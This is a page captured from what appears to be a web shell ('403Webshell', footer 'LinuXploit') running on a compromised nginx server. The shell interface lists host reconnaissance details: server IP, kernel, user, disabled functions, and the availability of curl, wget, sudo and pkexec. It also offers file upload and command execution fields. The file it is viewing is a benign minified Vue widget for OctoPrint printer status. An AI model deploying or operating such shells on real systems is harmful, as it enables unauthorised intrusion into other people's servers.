403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/c.pacim.de/web/backup/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/c.pacim.de/web/backup/resources/OctoPrint-BPCnkUxg.js
import{s as c}from"./service-DfnCLkIR.js";import{_ as f,G as h,r as y,o as t,c as k,w as m,a,t as o,b as s,F as p,d as u,e as i,n as g}from"./index-UxwdVxub.js";const T={name:"OctoPrint",mixins:[c],props:{item:Object},components:{Generic:h},data:()=>({printTime:null,printTimeLeft:null,completion:null,state:null,printer:null,error:null}),computed:{statusClass:function(){switch(this.state){case"Operational":return"ready";case"Offline":return"offline";case"Printing":return"in-progress";default:return"pending"}}},created(){this.display=this.item.display=="bar"?this.item.display:"text",this.fetchPrinterStatus(),this.fetchStatus()},methods:{fetchStatus:async function(){try{const e=await this.fetch(`api/job?apikey=${this.item.apikey}`);this.printTime=e.progress.printTime,this.printTimeLeft=e.progress.printTimeLeft,this.completion=e.progress.completion,this.state=e.state,this.error=e.error}catch(e){this.error=`Fail to fetch octoprint data (${e.message})`,console.error(e)}},fetchPrinterStatus:async function(){try{const e=await this.fetch(`api/printer?apikey=${this.item.apikey}`);this.printer=e,this.error=e.error}catch(e){this.error=`Fail to fetch octoprint data (${e.message})`,console.error(e)}},toTime:function(e){return new Date(e*1e3).toTimeString().substring(0,5)}}},b={class:"title is-4"},C={class:"subtitle is-6"},F={key:0},w=["title"],S={key:0},v={key:1},L=["value","title"],O=["title"],P=["title"];function B(e,r,l,G,N,n){const d=y("Generic");return t(),k(d,{item:l.item,title:e.state},{content:m(()=>[a("p",b,o(l.item.name),1),a("p",C,[l.item.subtitle&&!e.state?(t(),s(p,{key:0},[u(o(l.item.subtitle),1)],64)):i("",!0),!e.error&&e.display=="text"&&n.statusClass=="in-progress"?(t(),s(p,{key:1},[r[1]||(r[1]=a("i",{class:"fa-solid fa-gear mr-1"},null,-1)),e.completion?(t(),s("b",F,o(e.completion.toFixed())+"%",1)):i("",!0),r[2]||(r[2]=a("span",{class:"separator mx-1"}," | ",-1)),e.printTime?(t(),s("span",{key:1,title:`${n.toTime(e.printTimeLeft)} left`},[r[0]||(r[0]=a("i",{class:"fa-solid fa-stopwatch mr-1"},null,-1)),u(" "+o(n.toTime(e.printTime)),1)],8,w)):i("",!0)],64)):i("",!0),!e.error&&e.display=="text"&&n.statusClass=="ready"?(t(),s(p,{key:2},[r[3]||(r[3]=a("i",{class:"fa-solid fa-temperature-half mr-1"},null,-1)),e.printer.temperature.bed?(t(),s("b",S,o(e.printer.temperature.bed.actual.toFixed())+" C",1)):i("",!0),r[4]||(r[4]=a("span",{class:"separator mx-1"}," | ",-1)),e.printer.temperature.tool0?(t(),s("b",v,o(e.printer.temperature.tool0.actual.toFixed())+" C",1)):i("",!0)],64)):i("",!0),!e.error&&e.display=="bar"?(t(),s(p,{key:3},[e.completion?(t(),s("progress",{key:0,class:"progress is-primary",value:e.completion,max:"100",title:`${e.state} - ${e.completion.toFixed()}%, ${n.toTime(e.printTimeLeft)} left`},o(e.completion)+"% ",9,L)):i("",!0)],64)):i("",!0),e.error?(t(),s("span",{key:4,title:e.error},o(e.error),9,O)):i("",!0)])]),indicator:m(()=>[a("i",{class:g(["status",n.statusClass]),title:e.state},null,10,P)]),_:1},8,["item","title"])}const D=f(T,[["render",B],["__scopeId","data-v-8e988708"]]);export{D as default};

Youez - 2016 - github.com/yon3zu
LinuXploit